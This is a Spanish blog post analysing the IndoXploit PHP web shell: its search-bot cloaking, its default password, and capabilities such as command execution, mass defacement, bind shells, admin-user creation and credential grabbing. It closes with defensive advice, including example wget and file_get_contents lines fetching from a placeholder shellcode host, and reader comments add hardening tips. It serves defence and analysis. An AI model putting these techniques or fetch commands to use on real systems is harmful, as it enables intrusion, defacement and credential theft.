Análisis de la shellcode IndoXploit

La explotación de vulnerabilidades en aplicaciones web no constituye un fin mismo para los ciberdelincuentes. El verdadero objetivo del ataque se manifiesta en la etapa de post-explotación, donde se ejecuta el código dañino definitivo, más conocido por el término payload o carga útil en español.

Las shellcode son un tipo de payload muy utilizado en los ataques contra aplicaciones web. Consisten en un segmento de código que se inyecta a la aplicación web, aprovechando deficiencias como la falta de validación de subida de archivos con extensiones ejecutables (Ej. OTG-BUSLOGIC-008, OJS). El objetivo de las shellcode es mantener un punto de entrada (backdoor) mediante el cual se puedan ejecutar comandos del sistema operativo a través de una shell como Bash, de ahí su nombre. Pueden llegar a tener una sola línea de código o más de mil. En ambos casos, sus efectos pueden ser devastadores para los activos comprometidos.

¿Qué puede ocurrir si inyectan una shellcode en tu aplicación web? En esta entrada analizaremos IndoXploit, una shellcode de origen indonesio, cuyos reportes en idioma español son escasos o nulo, pero sin embargo, eso no ha impedido que sus creadores afecten portales y otras aplicaciones web de cualquier región del planeta (figura 1).

1

Figura 1. Señalado en verde, se aprecia como el autor de un periódico latinoamericano en línea ha sido sustituido por «indoxploit», huella de un ataque reciente con alguna versión de la shellcode.

La shellcode IndoXploit está programada mayormente en PHP y cuenta con algunos códigos en Perl. Cuando es ejecutada mediante una petición HTTP, chequea si el user-agent de la petición indica la presencia de un bot indexador de los principales motores de búsqueda, si esto ocurre genera un código de respuesta HTTP 404 para permanecer oculta.

2

Figura 2. Código de enmascaramiento ante los intentos de indexación por bots de los principales motores de búsqueda en Internet.

3

Figura 3. Código de respuesta HTTP 404 ante una petición que simula, mediante cURL, ser un bot de Google.

En la figura 4 se muestra la pantalla de inicio de IndoXploit, para acceder a esta es necesario introducir una contraseña, la cual es por defecto su nombre.

4

Figura 4. Página de inicio de la shellcode IndoXploit. Contraseña por defecto: «IndoXploit».

Al concluir el proceso de autenticación, visualiza un conjunto de información a modo de encabezado sobre el estado del disco duro, las direcciones IP del servidor y cliente, los programas y servicios de interés disponibles en el servidor y la ruta actual (figura 5).

5

Figura 5. Página principal de la shellcode donde se muestran un conjunto de informaciones respecto al servidor web donde fue inyectada.

En un nivel intermedio aparecen las funcionalidades principales:

  • Upload: Permite la subida de archivos al servidor.
  • Command: Posibilita la ejecución de comandos del Sistema Operativo. En la figura 6 se muestra un ejemplo de la ejecución del comando ls.
6

Figura 6. La opción Command permite la ejecución de comandos Bash y retorna la salida de estos. Por ejemplo la ejecución de ls /var/www.

  • Mass Deface: Crea archivos en lote específicos con un contenido específico. Por ejemplo, suponiendo que el directorio actual sea el directorio raíz donde se encuentran los directorios bases de varias aplicaciones, esta funcionalidad podría utilizarse para sustituir en una sola operación, mediante la escritura en lote, todos los archivos index.php de cada uno de esos directorios. A esto es lo que se le llama una desfiguración masiva pues se produce cuando el atacante puede acceder al directorio raíz desde donde se tiene acceso a varias aplicaciones web. Mass deface cuenta con dos opciones:
    • Sabun Massal (Desfiguración masiva en indonesio): Visita recursivamente cada directorio hijo y escribe el archivo con el contenido especificado en cada uno de ellos. También escribe el archivo en el directorio actual.
    • Sabun Biasa (Desfiguración común en indonesio): Escribe solamente el archivo especificado y su contenido en los directorios hijos inmediatos.
7

Figura 7. Opciones de Mass Deface.

  • Mass Delete: Dado el nombre de un archivo, lo elimina en el directorio superior, el directorio actual y los directorios hijos de este. Si el atacante está en el directorio raíz del servidor, puede, por ejemplo, ordenar la eliminación de todos los archivos index.php.
  • Zone-H: Posibilita crear una petición HTTP de notificación al portal Zone-H, especificando el nombre del atacante y los dominios afectados.
  • CGI Telnet: Permite instalar desde Internet un servicio de CGI Telnet para la ejecución de comandos en el servidor.
  • Network: Permite asociar un puerto a un socket y establecer un sistema de escucha para el envío de comandos de Sistema Operativo. Esta funcionalidad está escrita en Perl y codificada en Base64, aunque el código instalador está programada en PHP.
  • K-RDP Shell: Realiza un conjunto de operaciones contra servidores basados en Windows Server, incluyendo la creación de usuarios RDP (Remote Desktop Protocol) en el grupo de Administradores, etc.
  • Jumping: Trata de acceder a la configuración del servidor, incluyendo el archivo /etc/passwd.
  • Config: Trata de acceder a los archivos de configuración de diversos CMS como Popoji, Voodoo, WordPress, Joomla, Drupal, Magento, Ellislab Devteam [CI], Opencart, Prestashop, phpBB, Lokomedia, Sitelook, Bosweb, WHMCS, Cpanel.
  • SMTP Grabber: Permite obtener los datos de configuración y credenciales de usuarios de SMTP de una aplicación web basada en Joomla.
  • WordPress Auto Deface y WordPress Auto Deface V.2: Ambas opciones permiten hacer un ataque de desfiguración contra una aplicación web basada en WordPress. Es importante tener en cuenta que además, captura las credenciales de administración y crea usuarios en bases de datos.
  • Auto Edit Title Content WordPress: Reemplaza el título y el contenido (opcional) de los artículos publicados en WordPress directamente en la base de datos. Por ejemplo, esto permitiría modificar todos los artículos y sus títulos de un portal basado en WordPress.
  • Adminer: Trata de instalar, desde Internet, la aplicación web Adminer para la gestión de bases de datos de MySQL, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB, Elasticsearch y MongoDB. La ventaja de Adminer consiste en que todo el código está escrito en un solo archivo.
  • Fake Root: Permite comprobar si puede realizarse una desfiguración aprovechando la vulnerabilidad Fake Root.

Se nota que le han puesto atención y deseos a la navegación y manipulación de archivos y directorios, en la figura 8 puede apreciarse como pueden listarse un conjunto de archivos y directorios del servidor web. Se incluye la edición de archivos en el servidor, lo que posibilita, por ejemplo, incluir código dañino en estos.

8

Figura 8. La gestión de archivos y directorios en el servidor web afectado aparece como una funcionalidad por defecto de IndoXploit.

Las instrucciones de IndoXploit están bien documentadas y correctamente indexadas y organizadas. El único inconveniente es que la mayoría de las variables y comentarios están en indonesio, por ese motivo es necesario tomar el traductor de Google y buscar palabras y frases como:

  • Ambil – Obtener
  • Baru – Nuevo
  • Biasa – Ordinario, común
  • Cek – Comprobar
  • Dengan – Con
  • Ga bisa – No Puede
  • Hapus – Eliminar
  • Kata – Palabra
  • Lokasi – Ubicación
  • Massal – Masivo
  • Nama – Nombre
  • Nya – Su
  • Sabun – Jabón, Lavar -> ergo Desfigurar
  • Tools ini work jika dijalankan di dalam folder – Estas herramientas funcionan si se ejecuta en una carpeta
  • Fitur ini hanya dapat digunakan dalam Windows Server – Esta función sólo se puede utilizar en Windows Server

La amplia documentación que existe en idioma indonesio sobre la shellcode, ha permitido la creación de varias versiones (Ej. Monkey Shell V1.0.), que varían generalmente en la pantalla de inicio con identificadores y mensajes asociados a diferentes grupos y ciberdelincuentes, sin embargo, las funcionalidades son iguales a las aquí descritas.

IndoXploit se distribuye con extensión .pthml por defecto.

Más allá de las funcionalidades que brinda, creo que el principal problema de IndoXploit es la facilidad de uso, lo que provoca que cualquier script kiddie o diletante pueda utilizarla para ocasionar daño a la infraestructura TIC. Por ese motivo, es imprescindible prohibir la subida de archivos con extensiones ejecutables, evitar que los script del lado del servidor tengan acceso directo a Internet para evitar la ejecución, por ejemplo de un wget http://sitio-shellcode.com o un file_get_contents(«http://sitio-shellcode.com») y por supuesto, mantener actualizada la base tecnológica que soporta nuestras aplicaciones web.

Espero que te haya sido útil este artículo y contribuya a mejorar la seguridad de tus aplicaciones Web. La recreación del escenario de prueba se realizó a través de la máquina virtual del proyecto Broken Web Applications de OWASP y el vector de ataque utilizado fue similar al descrito en el artículo sobre la  OTG-BUSLOGIC-008.

S4lud0s y h4st4 el próx1m0 p0st!!!

9 comentarios en “Análisis de la shellcode IndoXploit

  1. Pingback: Análisis de la shellcode IndoXploit – MetaSploit Famework

  2. Pingback: Problemas del “pentesting real” según Marek Zmysłowski (III)- Mi Nessus es mejor que el tuyo | Behique Digital

  3. Hola Francisco, muchas gracias por tu aporte, las vías por las cuales alguien pudo inyectar la shellcode son muy variadas. Una de las mas sencillas está dado por la habilitación del método PUT en el servidor sin establecer políticas de restricción a su uso. Por otra parte cualquier funcionalidad de subida de archivos que no valide el contenido yu extensión puede ser aprovechado por los ciberatacantes para subir esta shellcode u otras.

    Me gusta

  4. Hola!

    También puede poner esta línea en el wp-config.php para que no editen el tema y metan código con shell si alguien accede al dasboard como administrador:

    define(‘DISALLOW_FILE_EDIT’, true);

    Saludos

    Le gusta a 1 persona

  5. También agregar en wp-config.php

    define(‘DISALLOW_FILE_MODS’, true);

    Esto ayudará a que no puedan instalar algún tema o plugin. No se podrán hacer instalaciones automáticas pero recuerden instalar el plugin Wordfence también para minimizar daños.

    Saludos

    Le gusta a 1 persona

Deja un comentario